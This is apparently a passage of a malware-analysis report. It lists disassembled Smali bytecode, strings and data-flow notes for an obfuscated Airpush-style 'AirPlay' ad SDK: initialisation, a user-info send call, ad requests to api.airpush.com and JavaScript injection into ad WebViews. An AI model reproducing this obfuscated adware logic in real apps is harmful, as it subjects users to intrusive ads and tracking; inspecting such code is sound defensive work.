155invoke-direct {v3, p1}, Lcom/vxjxu/jkhfn1870/VideoAd;-><init>(Landroid/content/Context;)V
157invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/VideoAd;->starVideoAdActivity()V
158goto/16 :goto_10
159pswitch_d5:
160iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching;
162sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->overlay:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
164invoke-virtual {v4, v5}, Lcom/vxjxu/jkhfn1870/Caching;->getJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)Ljava/lang/String;
165move-result-object v2
166if-eqz v2, :cond_ec
168const-string v4, ""
170invoke-virtual {v2, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
171move-result v4
172if-nez v4, :cond_ec
174invoke-direct {p0, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->showOverlayAd(Ljava/lang/String;)V
175goto/16 :goto_10
176cond_ec: const/16 v4, 0xcc
178const-string v5, "Overlay ad is not available in cache"
180invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V
181try_end_f3: goto/16 :goto_10
182nop
APIs
  • android.util.Log.i
  • android.util.Log.e
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • android.app.Activity.getSharedPreferences
  • android.content.SharedPreferences.contains
  • android.os.Handler.<init>
Strings
  • AirplaySDK
  • Starting AirPlay.
  • Activity must not be null.
  • Activty must not be null.
  • Invalid activty refrence.
  • Invalid Activity reference.
  • AppId:
  • sdkPrefs
  • SDKEnabled
Position Instruction Meta Information
0.param p1, "activity" # Landroid/app/Activity;
1.param p2, "adCallbackListener" # Lcom/vxjxu/jkhfn1870/AdCallbackListener;
2.param p3, "enableCaching" # Z
3.prologue
4const/4 v5, 0x1
5const/4 v4, 0x0
7invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/SDKIntializer;-><init>()V
8sput-object p2, Lcom/vxjxu/jkhfn1870/AirPlay;->adCallbackListener:Lcom/vxjxu/jkhfn1870/AdCallbackListener;
9sput-boolean p3, Lcom/vxjxu/jkhfn1870/AirPlay;->enableCaching:Z
11const-string v1, "AirplaySDK"
13const-string v2, "Starting AirPlay."
15invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Starting AirPlay.
16if-nez p1, :cond_1f
18const-string v1, "AirplaySDK"
20const-string v2, "Activity must not be null."
22invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Activity must not be null.
24const-string v1, "Activty must not be null."
26invoke-static {v1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Activty must not be null.
27goto_1e: return-void
28cond_1f: instance-of v1, p1, Landroid/app/Activity;
29if-nez v1, :cond_30
31const-string v1, "AirplaySDK"
33const-string v2, "Invalid activty refrence."
35invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Invalid activty refrence.
37const-string v1, "Invalid Activity reference."
39invoke-static {v1}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendIntegrationError(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: Invalid Activity reference.
40goto/16 :goto_1e
41cond_30: sput-object p1, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
43invoke-static {p1}, Lcom/vxjxu/jkhfn1870/Util;->setContext(Landroid/content/Context;)V
45invoke-static {p1}, Lcom/vxjxu/jkhfn1870/Util;->startBusense(Landroid/content/Context;)V
47invoke-static {p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkRequiredDetails(Landroid/content/Context;)Z
48move-result v1
49if-eqz v1, :cond_8a
51invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->checkSmartWallintegration()Z
52move-result v1
53if-eqz v1, :cond_8a
54sput-boolean v4, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z
56const-string v1, "AirplaySDK"
57new-instance v2, Ljava/lang/StringBuilder;
59invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
61const-string v3, "AppId: "
63invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: AppId:
64move-result-object v2
66invoke-static {}, Lcom/vxjxu/jkhfn1870/Util;->getAppID()Ljava/lang/String;
67move-result-object v3
69invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
70move-result-object v2
72invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
73move-result-object v2
75invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
77invoke-static {}, Lcom/vxjxu/jkhfn1870/Util;->setSESSION_ID()V
78new-instance v1, Lcom/vxjxu/jkhfn1870/Caching;
80invoke-direct {v1, p1}, Lcom/vxjxu/jkhfn1870/Caching;-><init>(Landroid/content/Context;)V
81iput-object v1, p0, Lcom/vxjxu/jkhfn1870/AirPlay;->caching:Lcom/vxjxu/jkhfn1870/Caching;
83const-string v1, "sdkPrefs"
85invoke-virtual {p1, v1, v4}, Landroid/app/Activity;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • p0: sdkPrefs
    • p1: 0
86move-result-object v0
87if-eqz v0, :cond_7c
89const-string v1, "SDKEnabled"
91invoke-interface {v0, v1}, Landroid/content/SharedPreferences;->contains(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: SDKEnabled
92move-result v1
93if-nez v1, :cond_7f
94cond_7c:
95invoke-static {p1, v5}, Lcom/vxjxu/jkhfn1870/AirPlay;->enableSDK(Landroid/content/Context;Z)V
96cond_7f: new-instance v1, Landroid/os/Handler;
98invoke-direct {v1}, Landroid/os/Handler;-><init>()V
99sput-object v1, Lcom/vxjxu/jkhfn1870/AirPlay;->handler:Landroid/os/Handler;
101invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/AirPlay;->sendUserInfo()V
102goto/16 :goto_1e
103cond_8a: sput-boolean v5, Lcom/vxjxu/jkhfn1870/AirPlay;->isIntegrationIssue:Z
104goto/16 :goto_1e
APIs
  • java.util.ArrayList.<init>
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Strings
  • banner_type
  • rich_media
  • supports
  • placement_type
  • fullpage
  • https://api.airpush.com/mraid/mraidadcall.php
  • AdView
Position Instruction Meta Information
0.prologue
1try_start_0: new-instance v4, Ljava/util/ArrayList;
3invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
4new-instance v2, Lorg/apache/http/message/BasicNameValuePair;
6const-string v3, "banner_type"
8const-string v5, "rich_media"
10invoke-direct {v2, v3, v5}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: banner_type
    • p1: rich_media
12invoke-interface {v4, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
13new-instance v2, Lorg/apache/http/message/BasicNameValuePair;
15const-string v3, "supports"
16new-instance v5, Ljava/lang/StringBuilder;
18invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
20const-string v6, ""
22invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
23move-result-object v5
25invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
26move-result-object v6
28invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->getSupportsJson(Landroid/content/Context;)Lorg/json/JSONObject;
29move-result-object v6
31invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
32move-result-object v5
34invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
35move-result-object v5
37invoke-direct {v2, v3, v5}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: supports
39invoke-interface {v4, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
40new-instance v2, Lorg/apache/http/message/BasicNameValuePair;
42const-string v3, "placement_type"
44const-string v5, "fullpage"
46invoke-direct {v2, v3, v5}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: placement_type
    • p1: fullpage
48invoke-interface {v4, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
49new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread;
51invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
52move-result-object v2
54const-string v5, "https://api.airpush.com/mraid/mraidadcall.php"
55const-wide/16 v6, 0x0
56const/4 v8, 0x1
57move-object v3, p0
59invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V
60new-instance v0, Ljava/lang/Thread;
62const-string v2, "AdView"
64invoke-direct {v0, v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: AdView
66invoke-virtual {v0}, Ljava/lang/Thread;->start()V
67try_end_5b: return-void
68catch_5c: move-exception v2
69goto/16 :goto_5b
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • com.vxjxu.jkhfn1870.MraidView.access$700
  • com.vxjxu.jkhfn1870.MraidView.post
  • org.json.JSONObject.getBoolean
  • org.json.JSONObject.getString
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
Strings
  • Orientation json:
  • none
  • allowOrientationChange
  • forceOrientation
  • setOrientationProperties
  • Error occured in while parsing orientation json.
Position Instruction Meta Information
0.param p1, "json" # Ljava/lang/String;
1.annotation runtime Landroid/webkit/JavascriptInterface;
2.end annotation
3.prologue
4new-instance v4, Ljava/lang/StringBuilder;
6invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
8const-string v5, "Orientation json: "
10invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Orientation json:
11move-result-object v4
13invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
14move-result-object v4
16invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
17move-result-object v4
19invoke-static {v4}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
20const/4 v0, 0x1
22const-string v2, "none"
23try_start_19: new-instance v3, Lorg/json/JSONObject;
25invoke-direct {v3, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
27const-string v4, "allowOrientationChange"
29invoke-virtual {v3, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: allowOrientationChange
30move-result v4
31if-eqz v4, :cond_4e
32const/4 v0, 0x1
33goto_27:
34const-string v4, "forceOrientation"
36invoke-virtual {v3, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: forceOrientation
37move-result v4
38if-eqz v4, :cond_55
40const-string v2, "none"
41goto_31:
42iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
44invoke-static {v4}, Lcom/vxjxu/jkhfn1870/MraidView;->access$700(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
45move-result-object v4
47invoke-virtual {v4, v2}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->setForceOrientation(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: none
49iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
51invoke-static {v4}, Lcom/vxjxu/jkhfn1870/MraidView;->access$700(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
52move-result-object v4
54invoke-virtual {v4, v0}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;->setOrientationChange(Z)V
56iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
57new-instance v5, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$7;
59invoke-direct {v5, p0}, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface$7;-><init>(Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;)V
61invoke-virtual {v4, v5}, Lcom/vxjxu/jkhfn1870/MraidView;->post(Ljava/lang/Runnable;)Z
62goto_4d: return-void
63cond_4e:
64const-string v4, "allowOrientationChange"
66invoke-virtual {v3, v4}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: allowOrientationChange
67move-result v0
68goto/16 :goto_27
69cond_55:
70const-string v4, "forceOrientation"
72invoke-virtual {v3, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: forceOrientation
73try_end_5a: move-result-object v2
74goto/16 :goto_31
75catch_5c: move-exception v1
77iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView$JavaScriptInterface;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
79const-string v5, "setOrientationProperties"
81const-string v6, "Error occured in while parsing orientation json."
83invoke-virtual {v4, v5, v6}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: setOrientationProperties
    • p1: Error occured in while parsing orientation json.
84goto/16 :goto_4d
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.getTokenSize
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.injectJSCode
  • com.vxjxu.jkhfn1870.MraidView.triggerErrorEvent
  • java.lang.Exception.printStackTrace
Strings
  • width
  • height
  • mraid.setMaxSize(
  • );
  • setMaxSize
  • Error occured while setting max size.
Position Instruction Meta Information
0.prologue
1try_start_0: iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->widthDp:I
3iget-object v4, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics;
4iget v4, v4, Landroid/util/DisplayMetrics;->heightPixels:I
6invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getTokenSize()I
7move-result v5
8sub-int/2addr v4, v5
9int-to-float v4, v4
11invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
12move-result-object v5
14invoke-static {v4, v5}, Lcom/vxjxu/jkhfn1870/Util;->convertPixelsToDp(FLandroid/content/Context;)F
15move-result v4
16float-to-int v1, v4
17new-instance v2, Lorg/json/JSONObject;
19invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
21const-string v4, "width"
23invoke-virtual {v2, v4, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: width
25const-string v4, "height"
27invoke-virtual {v2, v4, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
  • Data flow analysis:
    • p0: height
28new-instance v4, Ljava/lang/StringBuilder;
30invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
32const-string v5, "mraid.setMaxSize("
34invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: mraid.setMaxSize(
35move-result-object v4
37invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
38move-result-object v4
40const-string v5, ");"
42invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: );
43move-result-object v4
45invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
46move-result-object v4
48invoke-virtual {p0, v4}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V
49try_end_40: return-void
50catch_41: move-exception v0
52const-string v4, "setMaxSize"
54const-string v5, "Error occured while setting max size."
56invoke-virtual {p0, v4, v5}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: setMaxSize
    • p1: Error occured while setting max size.
58invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
59goto/16 :goto_40
APIs
  • com.vxjxu.jkhfn1870.IMraid$MRAID_AD_TYPE.<init>
Strings
  • MRW
  • MRA
  • MRCM
  • MRCC
  • MRIV
  • MRCE
  • MRFSV
  • MRAW
  • MRSP
Position Instruction Meta Information
0.prologue
1const/4 v7, 0x4
2const/4 v6, 0x3
3const/4 v5, 0x2
4const/4 v4, 0x1
5const/4 v3, 0x0
6new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
8const-string v1, "MRW"
10invoke-direct {v0, v1, v3}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: MRW
    • p1: 0
11sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRW:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
12new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
14const-string v1, "MRA"
16invoke-direct {v0, v1, v4}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: MRA
    • p1: 1
17sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRA:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
18new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
20const-string v1, "MRCM"
22invoke-direct {v0, v1, v5}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: MRCM
    • p1: 2
23sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRCM:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
24new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
26const-string v1, "MRCC"
28invoke-direct {v0, v1, v6}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: MRCC
    • p1: 3
29sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRCC:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
30new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
32const-string v1, "MRIV"
34invoke-direct {v0, v1, v7}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: MRIV
    • p1: 4
35sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRIV:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
36new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
38const-string v1, "MRCE"
39const/4 v2, 0x5
41invoke-direct {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: MRCE
    • p1: 5
42sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRCE:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
43new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
45const-string v1, "MRFSV"
46const/4 v2, 0x6
48invoke-direct {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: MRFSV
    • p1: 6
49sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRFSV:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
50new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
52const-string v1, "MRAW"
53const/4 v2, 0x7
55invoke-direct {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: MRAW
    • p1: 7
56sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRAW:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
57new-instance v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
59const-string v1, "MRSP"
60const/16 v2, 0x8
62invoke-direct {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;-><init>(Ljava/lang/String;I)V
  • Data flow analysis:
    • p0: MRSP
    • p1: 8
63sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRSP:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
64const/16 v0, 0x9
65new-array v0, v0, [Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
67sget-object v1, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRW:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
68aput-object v1, v0, v3
70sget-object v1, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRA:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
71aput-object v1, v0, v4
73sget-object v1, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRCM:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
74aput-object v1, v0, v5
76sget-object v1, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRCC:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
77aput-object v1, v0, v6
79sget-object v1, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRIV:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
80aput-object v1, v0, v7
81const/4 v1, 0x5
83sget-object v2, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRCE:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
84aput-object v2, v0, v1
85const/4 v1, 0x6
87sget-object v2, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRFSV:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
88aput-object v2, v0, v1
89const/4 v1, 0x7
91sget-object v2, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRAW:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
92aput-object v2, v0, v1
93const/16 v1, 0x8
95sget-object v2, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->MRSP:Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
96aput-object v2, v0, v1
97sput-object v0, Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;->$VALUES:[Lcom/vxjxu/jkhfn1870/IMraid$MRAID_AD_TYPE;
98return-void
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • java.lang.String.equalsIgnoreCase
  • java.lang.Exception.printStackTrace
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
Strings
  • AirplaySDK
  • AppWall Json:
  • status
  • message
  • invalid
  • Success
Position Instruction Meta Information
0.param p1, "result" # Ljava/lang/String;
1.prologue
3const-string v4, "AirplaySDK"
4new-instance v5, Ljava/lang/StringBuilder;
6invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
8const-string v6, "AppWall Json: "
10invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: AppWall Json:
11move-result-object v5
13invoke-virtual {v5, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
14move-result-object v5
16invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
17move-result-object v5
19invoke-static {v4, v5}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
20if-nez p1, :cond_1b
21goto_1a: return-void
22try_start_1b: sget-boolean v4, Lcom/vxjxu/jkhfn1870/AirPlay;->enableCaching:Z
23if-eqz v4, :cond_6b
24new-instance v1, Lorg/json/JSONObject;
26invoke-direct {v1, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
28const-string v4, "status"
30invoke-virtual {v1, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: status
31move-result v4
32if-eqz v4, :cond_59
33const/4 v3, 0x0
34goto_2d:
35const-string v4, "message"
37invoke-virtual {v1, v4}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: message
38move-result v4
39if-eqz v4, :cond_60
41const-string v2, "invalid"
42goto_37: const/16 v4, 0xc8
43if-ne v3, v4, :cond_67
45const-string v4, "Success"
47invoke-virtual {v2, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: Success
48move-result v4
49if-eqz v4, :cond_67
51iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay$3;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
53invoke-static {v4}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$100(Lcom/vxjxu/jkhfn1870/AirPlay;)Lcom/vxjxu/jkhfn1870/Caching;
54move-result-object v4
56sget-object v5, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->appwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
58invoke-virtual {v4, v5, p1}, Lcom/vxjxu/jkhfn1870/Caching;->saveJson(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;Ljava/lang/String;)Z
60sget-object v4, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->appwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
62invoke-static {v4}, Lcom/vxjxu/jkhfn1870/SDKIntializer;->sendAdCached(Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;)V
63try_end_53: goto/16 :goto_1a
64catch_54: move-exception v0
66invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
67goto/16 :goto_1a
68try_start_59:
69const-string v4, "status"
71invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: status
72move-result v3
73goto/16 :goto_2d
74cond_60:
75const-string v4, "message"
77invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
  • Data flow analysis:
    • p0: message
78move-result-object v2
79goto/16 :goto_37
80cond_67:
81invoke-static {v3, v2}, Lcom/vxjxu/jkhfn1870/AirPlay;->validateStatusCode(ILjava/lang/String;)V
82goto/16 :goto_1a
83cond_6b:
84iget-object v4, p0, Lcom/vxjxu/jkhfn1870/AirPlay$3;->this$0:Lcom/vxjxu/jkhfn1870/AirPlay;
86invoke-virtual {v4, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseAppWallJson(Ljava/lang/String;)V
87try_end_70: goto/16 :goto_1a
Cross References
APIs
